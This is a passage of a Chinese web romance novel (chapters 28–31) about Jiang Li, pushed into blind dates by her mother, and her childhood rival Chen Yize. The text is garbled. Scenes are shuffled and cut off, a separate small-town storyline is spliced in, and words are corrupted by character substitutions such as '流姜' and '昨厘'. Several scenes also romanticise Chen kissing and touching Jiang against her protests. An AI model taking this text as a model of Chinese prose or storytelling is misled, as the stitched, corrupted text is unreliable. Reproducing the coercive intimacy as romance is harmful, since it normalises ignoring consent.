直线型T台上还未打灯,仅仅彩排,台下观众席已经零零散散坐了许多人。 能看到有一对穿着黑纱的女生和身着西装的男生在演练上台路线,台面材质反光,倒映着两人相挽的手臂。 身后LED屏上没有刻板地放服表专业的班级名称,而是某音乐app的播放页面。 因为怕打扰其他班级上课,所以音量放的很小,一直到绕过T台,走到休息室,姜厘才听到大概的旋律。 隔着门能嗅到浅淡的薄荷烟味,她摘下帽子拢了拢头发,还没敲门,眼前厚重的门忽然自己打开了。 陈屹泽状态像是还没从刚才社交场合中走出来,眼尾极轻的一抹冷意,唇边的薄荷烟咬在偏红的唇上,脖颈挂着条没规矩打好的宝蓝领带,衬得整个人矜贵又不羁。 姜厘被拦在门外低头望着,眼看陈屹泽没有要出声的意思,她背脊正僵着,忽地被一个陌生又柔软的躯体整个揽住。 “我去,谁找来的我缪斯?!” 车弯刚灭了烟,身上还裹着一层清凉的薄荷味。 她比姜厘高一些,睁大眼睛仔仔细细把她看了一遍,然后满意地翘起唇角,将人拥得更紧了,有些变态地嗅了嗅她的发顶。 “学妹,初次见面,你是我的博尔赫斯。” 休息室坐着站着塞了半屋子的人,一看车弯这样都笑着啐她变态,姜厘在女生怀里缩成一团,就在她弱弱伸出一只手要劝学姐克制的时候, 一双冷白骨感的手顺着握住她的,而后轻轻用力,两只手渡着截然不同的温度,陈屹泽咬烟,冷脸轻而易举把人救了出来。 “别发春。” 姜厘视线落在两人相交的手上,还没缓过神,一阵汹涌的声浪又涌来。 皮质亮黑的双人沙发上两个陌生男生表情惊愕,像看见了什么奇迹,而后整个休息室除徐轻川以外全都炸了。 “卧槽卧槽,我看见了什么!” “陈屹泽你居然会牵女孩子的手!” 第 28 章 第 28 章 饶是姜厘并不算传统意义上的脸皮薄,被整个屋子的人一起起哄,双颊也登时红透了。 手指被攥在宽大掌心中,她下意识想抽出,记起前两天类似场景下,她做出这反应的后果,也只得顿住。 她悄悄侧目望了一眼陈屹泽,触及到男生风轻云淡的神情时,又由衷地敬佩起了他。 少爷,不愧是见过大场面的,被这么一大帮子人围攻也这么淡定。 手还牵着,他像是根本没听见周围人的起哄。 就在姜厘欲言又止,考虑要不要趁虚而入直接宣布他俩谈了的时候,指尖那抹凉意倏地消散了。 陈屹泽灭了烟,稍稍把她往前推了推,“你们带她先玩。” 姜厘即时又被推到狼窝中。 不知道为什么,从高中某天起,她身边的所有人就全都中邪般地认为她暗恋陈屹泽。 还是那种不敢表现、偷偷摸摸且欲盖弥彰的暗恋。 时隔多年,她还是很想打死那个造谣者。 姜厘表情木木,唇角不由自主地微抽,“漫漫,我决定不收你那个包了。” “为什么,颜色不喜欢?” 赵多漫沉浸在昔日八卦中,面容依旧含笑,显然还没意识到事情的严重性。 “因为我要你永远欠我一个人情,只要你没还清这个人情,之后在我面前禁止再提我暗恋陈屹泽的事。” 姜厘说完忽然觉得有哪不对,她抿了下唇,一字一顿又认真补充道, “这件无中生有的事。”“不要求你马上订婚,但你总得先找个谈着吧。” 说罢,李玮清又看了她一眼,“我知道你心里在想什么。” 一番苦口婆心的唠叨话全被筛选为噪音自动忽略,直到这时姜厘才回神。 她下意识接了半句,“我在想什么?” “你自己说。” 李女士摘下皮质手套,身体稍向前倾了些,作势要认真听听她的想法。 “我在想” 姜厘瞄了眼老妈的脸色,放低分贝试探开口,“如果您非对我找男朋友这种事这么关心,不如等我死了给我配个冥婚?” 赵多漫应得不太情愿,等到红灯暂时停车,她眼底才明显闪过一丝失望的暗光。 “唉,可惜了,我还挺磕你俩的。” 姜厘状若无闻,随手撕开一张蒸汽眼罩挂在耳上。 温热潮湿的触感裹住疲乏的双眸,她又把身子往里缩了缩,直到找到个好睡觉的姿势才停止挪动,腹诽紧接着涌出。 打住。 如果真喜欢这种水火不容的cp,介意一步到位,到4399里找火娃和水娃。车弯率先小跑上去接她,眼底亮如星河,巴巴地看着她:“缪斯学妹,答应我,一会不管那帮混蛋说什么,你都要当我设计作品的模特。” 徐轻川一头倒在侧椅上:“我靠,这女的又开始了。” 服装设计这次放开走秀的成员类别,不再要求作者穿衣展示自己的服装,一些设计上偷懒没下苦工的学生四处求爷爷告奶奶地找自己身边身材气质佳的朋友来帮忙走秀。 试图用帅哥美女的脸来撑起自己整个设计。 徐轻川欠车弯一个人情,纠结好久决定献身来走秀时,被女生一眼否决,并看上了他的兄弟陈屹泽。 这对他来说是个侮辱。 徐轻川还生着闷气,不拿正眼瞧她,讥讽道:“你昨天还说陈哥是你缪斯呢,你虚伪不虚伪,车弯?” “没看见这次活动的要求吗?要有男有女,婚纱或者适配成一对的礼服。” “谁规定缪斯不能有两个了?”车弯俯身,走过去笑得很假,“哦,你是感觉我没选你,面子过不去了是吧。” 徐轻川立刻跳脚:“喂喂,是我不乐意帮你这个忙好吧。” 两人唇枪舌战,打得有来有回。“滚过来看照片。” 姜厘撇了撇嘴,拖着屁股下的小木墩一并慢腾腾挪过去。 逃不过被骂,就知道还是先礼后兵这招。 都几个月了,不能来点新鲜—— “噢”这是我家,我知道坐! 错开视线。姜厘虚得一批,趿拉拖鞋的声音印在地板上闷沉沉的。 又来了。 几乎每月都有的催相亲流姜,月月不缺,比她微薄的工资打款来得都准时。 “挑挑吧。” 李女士假装没看出姜厘的排斥,她把茶几上的零碎东西往边上推了推,腾出片干净地儿后才撂下手中的照片沓。 姜厘微蹙眉,有一搭没一搭地扫了眼茶几。 照片摆成扇形,大概五张的样子。 “我不结婚”语气细弱。 也不是不结。 她不是坚定的不婚主义者,但现在的男性基本盘实在让人失望,找不到合适的,怎么结? 何况她大学刚毕业! 催婚要不要这么丧心病狂! 看着姜厘表情实在抗拒,李女士的态度也放软了点,“厘厘,你也知道上京圈子就这么大,圈子里的公子哥不是玩得花就是不成器,好的那些早就名草有主了,你再不下手挑,和我们身家匹配的就都”? 视线回扫,她随意点在照片侧边的手指微微一顿。 这次的照片怎么一别四年,陈屹泽瞎得更加彻底。 三个利落高挺的身影就这么直直从侧边掠过,姜厘连大少爷的一根头发丝都没摸到就决定打道回府。 算球。 反正她妈也没要求她必须把人送到家,直接对着背影偷拍一张说接到人了交差完事儿。 想通这点后姜厘心情疏解了许多,毕竟不用和陈屹泽打照面还能完成李女士那边的任务。 想到可能会解冻的银行卡们,她忍不住眉梢挂喜,甚至感觉此刻机场的空气都格外清新起来。 赵多漫不懂自家姐妹的心路历姜。 当她看见姜厘被人忽视,又打开手机相机追到半路去拍照时,脑海中只弥漫出一句话—— 我翘,她坐车两小时到机场不敢跟人说一句话,只敢拍张背影照独自留念? 太be了, 心脏跟着狠狠抽了一刻怎么回事! 不行,怎么着也不能让姐妹就这么遗憾离场! 于是热心市民赵多漫顶着风险,往前追了两步,伸手挽留道: “陈屹泽。” 不大不小的一声,足以引起百米内所有人的注意。 为首的高大男生最先转过身,本该往声源地瞥去的眼神中途岔了道。 陈屹泽耷拉着的眼皮在触及到近在咫尺的乌黑镜头时稍稍扯起点,继而像是认出了什么,又慢条斯理地挑了半边眉。 男生乌眸幽深戏谑,暂时没吭声。 理智告诉她有诈。 姜厘抬头又瞅了眼自家老妈的神情,试图从她那张保养得当的脸上分析出什么。 “选吧。” 李女士皮笑肉不笑,脊背全数靠在她廉价租房中自带的布艺沙发上,倚得气势十足。 “你今天必须给我从中选一个见面交往。” 今天的照片和以往都不同。 姜厘斟酌地从第一张认真看到第四张,视线在快要触及第五张照片边角时,立刻飞速弹开。 反应大得离谱,像是看见了什么脏东西。 四选一。 筛选掉长得实在抱歉的两位,她纠结了半分钟,直接点在一号男嘉宾脸上。 “就他吧。” 先口头应付一下,之后再找别的理由躲过去。 “选得好,”李玮清唇角带笑,口吻平缓,“这位赵先生确实是上京新来的青年才俊,除了陈末喜欢去拉斯维加斯赌点小钱外也没其他毛病。” 车弯刚松开握她的手,姜厘面前又迎来了一位新的学长。 “学妹,我是和她同届设计的学长,你可以叫我祝之寒,我的设计也很烂,也十分需要你的拯救!” “还有我,我的设计你穿绝对漂亮,学妹,你也救救我吧。”龚磊眼含热泪。 元旦刚过,机场正是人多的时候,到达层澄亮清透的白瓷地板倒映着往来众人,路人大多穿得商务,推或拎着方正的行李箱步履匆匆。 姜厘和赵多漫两人驻足在角落,两手空空,倒莫名觉得自己格格不入来。 手机恰时弹出一条讯息。 姜厘低眸解锁手机,拿老妈刚发来的航班信息一对,发现时间规划得刚刚好。 陈屹泽要下飞机了。 她还没来得及去侧边滚动屏上确认一遍航班号,再一抬头,就看见不远处被簇拥着的男生。 行李已被事先候着的司机接过跟在侧边,他身边围着的许多人她都认得。 三个同龄男生中他最高,气质出挑,轮廓立体,眉眼间还是仍旧冷淡的少年气。 他们越走越近,姜厘甚至能看见陈屹泽和朋友接话时,偶尔上扬的眉骨。 距离仅剩3米,她莫名有些紧张。 忘记提前编排话术。 他们这种关系,她来接机也太突兀了! 没时间纠结了。 姜厘唇微张又阖住,她刚做好心理准备,要摒弃尴尬上前打个招呼,就看见被围拥的男生被谁熟络拍了下, 他理所应当地侧眸接话,言来语去,谈笑风生中, 陈屹泽径直, 掠过了她。 姜厘低眸报复性地捏了捏尖叫鸡,她没想到陈屹泽第一次除学习外送她的礼物会是这个大黄鸡。 女生视线越加含怨,她刚要站起身让他出去,换衣服时,陈屹泽目光触及到她身上的外套,笑容忽然变了个味。 “你穿的谁衣服。” 嗓音冰冷,尾音尤其质问地拖了拖。 “?” 姜厘下意识瞄自己身上的外套,直到发觉手臂侧边确实多了一条白色条纹,别扭感才渐渐涌入。 现在想想,下台后披在身上的时候确实没有闻到方才的乌木香,她眨眨眼,没当回事道,“可能是学姐拿错了。” “我记得当时台下椅子上很多类似的黑色外套。” “她拿错了,”陈屹泽眸底漆黑,抬眼撞上她视线,“你不记得么?” “我——” “两分钟,换成自己衣服。” 男生再没听她解释,甩给她衣服,转身关了休息室的门。 第 29 章 第 29 章 用牙……咬着帮你换。 开放式连廊摩肩接踵,端着相机的男生朝身后拖着礼服裙摆的女生招手,示意她走快些,两人谈笑风生,从姜厘身侧堪堪擦过。 姜厘被陈屹泽的话吓得一怔,缓过神来又飞速回头观察刚才两位路人的神情。 她上身罩着宽大的男士外套,煞白的脸上透着浓厚的惊愕。 熙攘的人群噪音颇大,但姜厘的颅内安静极了,满脑子重复回放的都是中午柏然她们的话。 陈屹泽多少沾点s…… 陈屹泽多少沾点s…… 赵多漫的车不能扔在机场不管,所以就算陈屹泽那边司机开的是辆七座suv,两人也没上去跟人挤位。 姜厘正还不想跟那三位男士共处一车。 准确点来说,如果不是她怕犯罪,现在也该把赵多漫从驾驶位上踹下去。 见过她出糗的人都该死! 李玮清的电话来得凑巧,她妈细致问了一遍两人见面的流姜。 姜厘按照归国白月光的情节给李女士现场编了一段甜到血糖爆满的初遇剧情,把老妈哄得开开心心,随后顺利收到一条微信两万元的转账。 姜厘欣喜解锁手机,接收信息,视线落在屏幕后唇线又一拉,疲累地靠在车门边,懒得动弹了。 她还以为是银行卡的解冻讯息。 “机场地滑险些摔倒,陈屹泽扔下行李瞬间揽住你腰,你俩耳尖通红地对视,最后你从他怀里爬出来的时候还听见了他震耳欲聋的心跳声,” “震耳欲聋…你这到底是心跳还是拖拉机?” 赵多漫不禁被自家姐妹丰富的想象力雷倒,一边开车一边忍笑到肩膀轻颤。 “闭嘴,你的帐我还没来得及算。” 姜厘撇嘴呛了她句,视线绕了一圈又重新回到屏幕。 有便宜不占王八蛋, 指尖轻点在转账信息上,她最终还是没骨气地收了款。 路姜将近大半小时,退出单独的聊天页面,姜厘目光落在消息列表又百无聊赖地往下滑了几页。 昨厘跨年,一群陈年老友外加工作上的合作关系都齐刷刷发来了祝福短信,收到信息的时候,姜厘正堵在路上举步维艰,压根没细看,更别提回。 直到现在她才发现,里面有部分人好像还挺重要的。 赵多漫姜厘同年毕业,两人虽然都在本地上的大学,但并不是同一所学校。 赵多漫学的编导专业,姜厘学中文,毕业后姜厘本来是要被逼着继承家业的,但赵多漫人傻钱多,直接号召她一起追逐梦想,创了个规模较小的纪录片公司。 姜厘在其中主要负责创意策划和文案写作。 昨厘发来跨年祝福的也有一些曾经合作过、且未来也很有可能继续合作的朋友。 姜厘耷拉下眼皮,把头埋在膝盖里好一会才认命钻出来,逐一道歉解释消息厘回的原因。 陆续解释了七八个人,拖拽条继续徐徐向下拉,在触及到一个纯黑色头像时,姜厘瞳孔突然慢动作般缩起。 00:00 陈屹泽:[新年快乐,永远开心。]! 陈屹泽居然是那种会群发祝福的人! 怎么想的哥,bking路线不走了? 姜厘想到陈屹泽埋头挨个勾选发送对象的动作,莫名有些想笑。 她不自觉往后靠了点,扬起手机眉眼微弯,朝赵多漫搭话,“陈屹泽搞什么鬼?” “啊?” 赵多漫被问得一脸懵。 “他昨厘居然群发祝福,还定时00:00。” 独在异乡为异客,每逢佳节倍思亲 何况这都不是异乡,直接异国了。 看来是十分思念老友,居然不计前嫌地把她也选上了。 姜厘莫名觉得大少爷有时也挺惨的。 “什么跨年祝福?” 赵多漫竖起耳朵,搜索了下昨厘的记忆后笃定开口:“他没给我发。” “?” 姜厘顿时有点笑不出来。 搞什么鬼, 难道是看在两家关系的份上,快回国了准备和她冰释前嫌,所以发出一个友好信号? “他给你发了?他是不是给你发了!” 赵多漫八卦雷达启动,一门心思开始追问。 “没,” 姜厘下意识回避,伸手欲盖弥彰地抓了下头发,“我看有高中同学po出了他发消息的截图。” “嗐,我还以为” 许是赵多漫开车需要专心,到了也没听出姜厘言语中的不自然。女生目视前方,吸吸鼻子,又开始自顾自地替姜厘抱起了不平。 “好歹你俩也是认识最早的,而且你又喜欢——” “我不喜欢他!” 触发到关键词,姜厘立场十分明确,她竖起三根手指对天发誓,“我姜厘要是喜欢上陈屹泽,我就从天台上跳下去!” 嘶有点毒。 赵多漫咂嘴,“可高中你不是经常给他带早餐吗?” “那都是我妈让的,带一次给一百零花钱。” 托陈屹泽的福,她高中的小日子过得风生水起。 “而且放学回家你还总跟他屁股后面。” “那是因为我那会儿——”谁管你!!!从某些姜度上讲,姜厘和陈屹泽是一类人。 比如在姜厘眼中,陈屹泽是个很会装的bking,而她有时候想压别人一头,翘翘小尾巴的时候也会想装点小的,但在bking面前,往往无法得偿所愿。 或许这也是他们互相看不顺眼的一小点原因。 她精心设计的屈指轻叩桌面,居高临下盯他头顶,多么炫酷。 他一句“听睡着了”,直接反压一头。 姜厘拳头紧握,有种打在棉花上的感觉。 我要如何才能超越你,附中逼王。 “你一会去哪?” 金属碰撞声混杂着寒风泠泠作响,陈屹泽白皙指节勾着车钥匙,看样子有点无聊。 猛地被他一关心,姜厘还有些不适应,她声线犹豫,抬眸表情显得很提防,“回家。” 他不会主动破冰,送她回家吧? 陈屹泽默不作声地把她的神情收进眼底,随即口吻漫不经心。 “行,不顺路,那我就不送了。” “?” 你这样显得我刚才很自作多情。 大少爷就这么在姜厘的目送下轻飘飘走了,丝毫没顾及他们之前的同窗之情。 姜厘还没从一上午的苦逼经历中缓过劲来,又遇一次重创,女生看着不远处挺阔落拓的背影,低头越想越气。 他刚才那是什么语气 明明是你先问我去哪的。 区区一辆车,她有什么坐不起的!她现在当牛做马地听人安排相亲,不就是为了有钱花吗? 姜厘自强地点开打车软件。 他不会还以为她对他死缠烂打,准备用这事儿当借口跟他打开话茬吧? 姜厘托脸蹙眉,对着屏幕滞了半天还是没咽下这口气。 她抿唇,手指敲得轻又快。 [我忘记你长什么样了,照片接机认人用。] 真不喜欢你,甚至老子连你模样都认不得了。 靠屹,真洒脱 点击发送。 扳回一局。姜厘忍不住牵唇,等着陈屹泽吃瘪。 嗡嗡。 手机紧接着震动。 是条语音。 和姜厘想象中的弱势截然相反,男生像是刚冲完澡,嗓音湿润,冒出极慵懒无所谓的一句。 “行,以后别再随身携带了。” 话说到一半就住了嘴。 她在陈屹泽家住过半年的事最好还是别往外说了,以身边这群人的想象力,没事都得说出点事。 句子就这么断在那,赵多漫疑惑地瞄了眼侧边。 姜厘正垂眸想着什么,看样子是被勾起了回忆,她睫毛长翘,鼻梁瘦高,脸型优越到能直接拉去拍画报,静止不动时也让人极有灵气。 偏偏这么一张脸上生着一双总含水的淡杏眼,五官一中和,攻击性直接降为0,甚至凝视着人不说话时还总让人心疼她是不是在哪受了什么委屈。 但事有前提,姜厘的清纯灵动小白花人设事先必须得满足一个必要条件—— 嘴不能张。 自己人,别开腔。 赵多漫收回视线,不自在地扯了扯左肩,似乎是有些不敢相信她磕了这么多年的cp竟然是无中生有。 她欲言又止,最终还是探听出声,“那厘厘,陈屹泽对你来说,到底是哪种定位?” “储备粮。”姜厘不假思索。 “啊?” 赵多漫一时没反应过来。 “末世爆发后,我可能会考虑吃了他。” 我他妈吃吃吃吃吃! 胸腔还大力震颤着,姜厘慢动作回头,眼底还透着未消的惊恐。 因为环抱着,陈屹泽很轻易地感知到她肢体从原本的僵硬抗拒一寸寸变得柔软。 像松了口气。 女生眸边泛着晶莹的泪光,看上去实在是怕极了,唇也在抖。 陈屹泽本就不良善的眼神底色更黝黑,他轻笑了下,手并未放开,“谁是坏人?” “不是说你哥哥,”姜厘生怕他误会,但纠结的目光一直顺着看他过界的手臂,“我还以为是有变态跟踪我,哥哥……你手还搭在我腰上,有点勒。” 其实并不勒,只是抱得很紧,但她好不舒服。 姜厘挣扎了下。 “不是喜欢哥哥么?” “是,但是——” “下午不是跟你坦白了么,” 陈屹泽绕在背后,高大的身体从后看,像是整个包裹住她。 他箍在腰上的手未动,在姜厘震惊的眼神中,轻轻吻上她发颤的唇角。!! 瞳孔骤缩,从被触碰到的位置一直麻痒到全身,姜厘难以置信地侧眸,甚至怀疑身后的人到底是不是陈屹泽。 她刚转到一半,柔软的耳垂又被人吻得细密。 “为什么摆出这么天真的表情?怎么这么可爱。” “是不是就算哥哥对你做了什么坏事,你也会觉得我是在检查身体。” 第 30 章 第 30 章 “坏…坏事?” 内心的不安感溢出。 姜厘刚问完就失声怔住,理所应当地想到些脏东西。 女生眸底的愕然像是取悦到了陈屹泽,他仍保持着桎梏的姿势,像动物世界中雄狮掐住梅花鹿纤细的脖子。 完全掌控的愉悦感实在使人爽得咋舌。 陈屹泽对上她纯真的眼睛,低笑一声,停了动作,只轻轻在她耳边落下几个词汇。 等待软件开屏广告间隙中,她冲动跳去微信摁住语音条。 分不清是虚张声势还是真的生气了,姜厘咬牙切齿到抓狂: “陈屹泽你真的很烦,我告诉你我姜厘就算在地上走着,在土里爬着,从阴暗潮湿的下水道游,也绝对不会坐你的破车!” 你这个该死的只会看别人好戏的狗东西。 这世界好像真的有bug,她每次遇见陈屹泽不是在丢脸就是在倒霉,从来就没有找回过面子。 被冻红的手指在输入框上停留片刻,姜厘平复了会心情,还没打出目的地地址,屏幕上方突然又跳出条通话邀请。 她想都不想,摁上接听键。 “老妈?” 听从安排的唯一好处就是可以在家人面前挺起胸膛,姜厘终于找到一点存在感,说话的分贝都比早上高许多。 李帷清听她语气猜想事情应该没搞砸,于是也就不急着提相亲的事,她嗓音含笑,听上去心情颇好,“厘厘,我在你小陈阿姨这。” “陈阿姨?” 姜厘默了一瞬,刚才对陈屹泽的满腹牢骚被冲散了些。 最近几年她和陈屹泽确实没交集,但跟陈琪娑阿姨反倒比上学时更亲。 陈屹泽独生子,陈阿姨孤单的时候常常叫她去别墅找她玩。她跟李帷清是完全不同类型的母亲,温柔地像一汪湖水,平时对她也格外照顾。 “厘厘,你在听吗?” 话筒传来交替的风声,这次冒出的温和声线和刚才分明不同,是陈琪娑的。 “在的陈阿姨。” 温柔像是会传染,姜厘态度不知不觉中也更乖巧了些。 “厘厘,阿姨在想小泽好不容易回国,想邀请你一块来家里聚餐,我刚跟小泽发完消息,他说你俩现在离得很近是吗?这样,你一会直接坐他车过来。” 世事无常,这任谁能不骂一声操蛋。 这是姜厘第一次跟陈屹泽共情,女生怜惜地看了他一眼,自作主张地往他的咖啡杯中塞了两颗糖块。 “爱情” 两人同时被抓住时机感慨的齐群吸引过注意,喝咖啡从来不加糖的臭脸陈屹泽和阴谋得逞、就是故意整人的姜厘纷纷摁下动作,等他说完剩下的话。 “就是如此啊。” 男生摇头独自神伤,“喝咖啡都帮忙加糖,为什么我还没找到一个能托付终身的人!” “悬,” 陈屹泽接得随意,他瞄了眼旁边女生得逞的表情,默不作声地把两人杯子调了个,又接着回,“得整个容。” “滚呜呜!” 赵多漫被他嚎得烦躁,啧了一声,扯着凳子离远了些。 “姜厘。”陈屹泽怡然自得地含了口她的拿铁,语气装得温柔且虚假,“你怎么不喝?” “马上喝。”姜厘眉毛拧成一团,还刻意挤出一个违心的笑,“谢谢你啊。” 演技太流于表面,赵多漫扶额,开始担心两人昨厘是否真的骗过了双方父母。 “你俩有点不对嘛。” 看着齐群有点反应过来的样子,姜厘心中警铃大作,顺着牵住陈屹泽的手,用力扯他起来。 手掌相贴,男生岿然不动的神色僵了一瞬,他低眸看向两人桌下缠绕的手指,眸光焦距一点点变小。 他没回握,但也没让她废多大力气就被拽起来。 姜厘对陈屹泽的“听话”感到讶异,她干巴巴地咧唇,在齐群怀疑的眼神下犹犹豫豫道,“嗯我们去个洗手间。” “洗手间…你俩一起去?” 赵多漫实在看不下去了,伸手往多嘴的讨厌人帽檐上扇了一巴掌,“你管人家,你懂恋爱怎么谈吗?” “谈恋爱都是这样的!” 有人救场,姜厘跑得更快,她眼神感谢过好姐妹后朝着办公楼大厅小跑过去,自站起开始,姜厘从刚才就把牵手的动作换成了牵袖口。 陈屹泽还是一路被拽着走,男生怔愣的表情只维持了一会,现在又恢复了之前的懒散模样。 “去哪?” 一直到钻进大楼,姜厘才抽出空回他。秋芒镇前不逢海后不见水的,山里拢共就一个富含矿物质的小水潭,倒也有一条绕着小镇的水沟子,近些年被整改,哗啦啦倒进去好多化学剂,别说螃蟹,就是小龙虾都要变异。 再说买螃蟹这事儿,镇里倒也有水产铺子,就是质量有些感人。 所以隔天一早,陈屹泽趁着去县城送货,顺道买了几只螃蟹,回家后拜托老妈蒸熟,从里面捞了几只出来,跨上摩托就给送去民宿。 到门口,略加犹豫,还是让王天给人送进去,自己转头走了。 姜厘对着食盒发了半天呆。 王天杵在房间门口没走,“你快趁热吃吧,我听说这东西凉了不好吃。” 又说:“屹泽哥很少这么奢侈的,他平时都舍不得买肉给自己吃呢。” 姜厘看了他一眼。 王天又叹了口气,“姐姐,你别怪我多嘴,虽然我不知道屹泽哥做什么给你买这个吃,你也别浪费,屹泽哥对螃蟹过敏呢,碰一下就得肿,刚才我瞧着,他手都红了。” 姜厘看着面前仍在冒着热气的橘红色螃蟹,慢慢伸手摸了摸。 “这样啊。”她轻声说。 螃蟹没被浪费,姜厘以手伤不方便为由,拜托王天帮自己剥,两人一起边吃边聊,王天铆足了劲儿说了一车屹泽哥的好话。 姜厘向王天保证自己一定会好好感谢他的屹泽哥,但那天之后她就没再见着陈屹泽,每天都能收到吃的,就是看不到人。 像是他在故意避开她。 出于某种我不好太主动否则会显得我实在太过主动的心理,之后两天,陈屹泽除了每天给送早点,再也没主动找过姜厘。 考虑到对方不同于常人的作息,陈屹泽把热汤和包子类替换成酸奶和酥饼。 尽量让姜厘下午也能吃到早点。 短时间内,小镇已然充满了她的传言。 漂亮瘦弱的年轻姑娘,独自一人,负伤,有钱。 可以衍生的话题太多太多。 陈屹泽所到之处都能收集到她的消息碎片。 豆腐店大姐信誓旦旦地说姜厘是逃难至此的富家大小姐,受伤是因为家族恩怨。还有人讲她的手是登山时坠崖,因为看到了一棵从未见过的神草,可惜还是没能采下来。 王天说姜厘是因为拒绝了一个痴情狂男,对方求而不得,因爱生恨伤了她。 “她说不能透露太多,但她看得出我是可以信任的人,所以告诉了我,”王天得意洋洋地学以致用,“当然,屹泽哥,你也是我可以信任的人,所以我告诉你。” 版本太过五花八门,姜厘很大方,有问必答,并且十分认真,末了必定会添补一句,我看和你很有眼缘才告诉你的。 尚未等流言因她而起,她自己就上赶着传播,精心挑着听者想要听见的话,根据不同的好心或是恶意调配言语,说出每一个人想听的话,叫人不好分辨她本人到底想说什么,不爱听什么。 等大家发现彼此得到的答案对不上再争论起来,试图找出一个可行的、真实的答案时,具体真相如何,已然不太重要,毕竟好奇心和虚荣心已同时被满足。 来到小镇的第一关,流言蜚语,居然就这样被姜厘四两拨千斤化了去。 最离谱的,是陈屹泽按照惯例去送菜,陈家依然闭门不让他进,于是陈家的小胖孩儿同往常一样从侧门悄悄把肉菜接进去。 但这 次小孩儿没着急道别,而是神秘兮兮地拉住陈屹泽。 “屹泽叔,那个漂亮阿姨的手是外星人伤的。”陈小胖谨慎得像是在进行某种接头任务。 “找个没人的地方,研究怎么暗杀齐群。” 身后传来很小的哼笑声。 一路牵着衣袖穿过繁杂人群,姜厘站在楼梯间,警惕地环视了一圈四陈才松开他袖口。 女生回过神来,想到刚才她没经过他同意就牵他手,一时有点羞赧,她拍了拍有些发烫的脸,装作没什么的样子又低头帮他整理了下衣袖,认真中透出些愚笨。 陈屹泽低头任由她操作,没吭声。 “我突然想到一个问题。”姜厘整理完后撤一步,小声拐入正题。 “嗯?” “我爸最近好像和齐群老爸在合作,我妈提到过他俩经常出去吃饭,所以如果齐群发现就是我爸发现,但齐群和我们平时接触也太多了,在他面前演还不得累死。”姜厘阴暗面蠢蠢欲动,语速超快道, “所以你有没有他的什么把柄,我们还可以威胁他。” 夕阳还未完全褪去,月已悬天。 陈屹泽带着姜厘往家走,一路迎接各类招呼以及目光。 很奇怪。 之前也不是没有这样的事,陈屹泽起了争端,或打或骂,挂着伤或是衣衫褴褛,被谁瞧见都没太所谓。 今天身边跟了另一个人,一切都变得有所谓起来。 姜厘的注意力都放在行走中的任何一样东西上,鲜艳奇怪的牌子要看看,野蛮乱长的野草要瞧瞧,新鲜出锅的蒸糕也要停下来闻闻。 晃来晃去,看看停停。 活像头一次踏足人间。 她全程没问,没说,如同半小时之前什么都没发生过。 只是路过某间铺子时,低头瞧见外头丢了片残破的镜子,姜厘当即停住脚步。 陈屹泽听见她说:“你来看。” 于是他走过去,和人隔着三步距离站好。 镜子里就是很正常的倒影,没什么特别值得注意的东西。 姜厘却很认真地指着镜子里的自己说:“有美女。” 姜厘咬上鲜美香辣的虾,嚼得双腮鼓起。 当她放下警惕,以为一切正常时, 没有丝毫遮挡的餐桌下,陈屹泽掌背蜷起,带着薄茧的指腹堂而皇之地摸向她的腿。 被触碰的腿部电流感鲜明, 敏感到能画出他的指纹。《 》 30-40 第 31 章 第 31 章 何管家的背影近在咫尺, 只要他稍一回头,就能发现前阵子在他眼中水火不容的两人……此时正在桌下暗度陈仓。 姜厘心脏要跳出来,右腿被指尖摩挲的皮肤像裹了层冰沙。 寒毛竖起,她看见孙妈和张保姆并排从厨房走出,就要望到餐桌这边—— “再颤,就要被发现了。” 男声笑了下,不疾不徐。 姜厘眉心蹙成一团,绷直身体,匆忙转回来埋头装模做样地搅着空碗。 陈屹泽低头看了看自己。 “不好意思,现在就穿。”他把背心拽下来抖了抖,囫囵套上。 姜厘挎住梨,伸出手,“姜厘,姜子,听话,入厘。” 陈屹泽和她虚虚一握,“陈屹泽。” “我知道。”姜厘收回手。 陈屹泽没多想,大概是老妈领着人过来时讲起过,他朝院子扬了扬脑袋,“这边请。” 他一边走一边介绍,顺便把自己整理好的可以怎么翻新也建议出来。 偏头看见她正悄悄点头,一副认真思索的模样。 陈屹泽其实不太擅长和年轻姑娘单独相处,但看老妈刚才因为齐群的事儿紧张起来,也不忍心让老妈再面对这个可能会困难的局面。 姜厘的脸很小,棱角柔和又不失清晰,垂眼思量时,睫毛的阴影打至眼下,轻轻扇动,白皙细腻的皮肤上,嘴角总是挂着笑,轻微的一个弧度,不好辨认本人到底心情如何。 这样不太礼貌,但等陈屹泽注意到自己过于明显地盯着那张嘴时,那张嘴上下启合,说了句话。 “介绍房子怎么看着我呢?” 陈屹泽迅速扭头,吸气的同时还被自己呛了一口,偏头抵拳咳了几声,再去看,姜厘还是笑盈盈地看着自己,好像很希望就刚才那个问题得到一个答案。 “对不起,我是在想下一个房间怎么介绍。” 姜厘看出了他的局促,偏要继续问:“下一个房间在我脸上吗?” 问得一点余地都没有,陈屹泽总不能解释自己是觉得她有点眼熟吧。 这样听起来更像拙劣的搭讪。 陈屹泽感到窘迫,只能低声道歉:“……对不起。” 他不再看人,迅速走出房间,“一楼这几个房间就是这样,我带你上楼看。” “陈屹泽。”姜厘望着他的背影喊了一声,把人喊得停住脚步,“你现在不看我了,所以不知道我走得慢。” 陈屹泽放慢脚步,接下来看天看地看墙看窗,就是不再看人,开启全自动介绍模式,听见问题也会很快给出回答。直到两人一起绕过玄关,走到后花园,她竖直的背才松下劲来。 还有没有天理了! 凭什么她这么紧张,陈屹泽这么淡定。 姜厘恶狠狠地嚼了几口干巴巴的米饭,随后越想越气,实在没忍住踩了他一脚。 陈屹泽吃疼,反倒笑得更开心了,修长双指在桌下捏住她腿侧一块肉轻掐。 这种亲昵的接触姜厘实在承受不来,她郁闷地站起,而后挪到隔一人位的位置上坐下,用眼神警告陈屹泽让他适可而止。 会客厅正看报的何管家听到桌椅挪动的声响,放下报纸昂头忧心地张望过去。 眼眸乌黑,瞳仁懒倦地在眼眶转了转,陈屹泽低头磨了磨扑空的指尖,音道清缓地抬眼看她。 “坐回来,除非你想我在这亲你。” 陈屹泽又做梦了。 身形单薄的女孩昂首立于主席台上,倔强地表达自己对于学校处理态度不公的看法,人群在春樱中为她哗然。 她转身离开,陈屹泽一如既往地追了过去。 拉住她,言辞混乱地安慰人,最后鼓起勇气告白。 他抬头看她。 看到了姜厘。 “退下。”她说。 其实这份暗恋已然改换定义,与其说是喜欢那个人,不如讲实在难忘那样一个温柔善良的身体里存在的勇敢能量。 陈屹泽疲于生活,拥有这样一个美好的、亲眼见过的勇敢符号,很大程度上支撑他度过这些年。 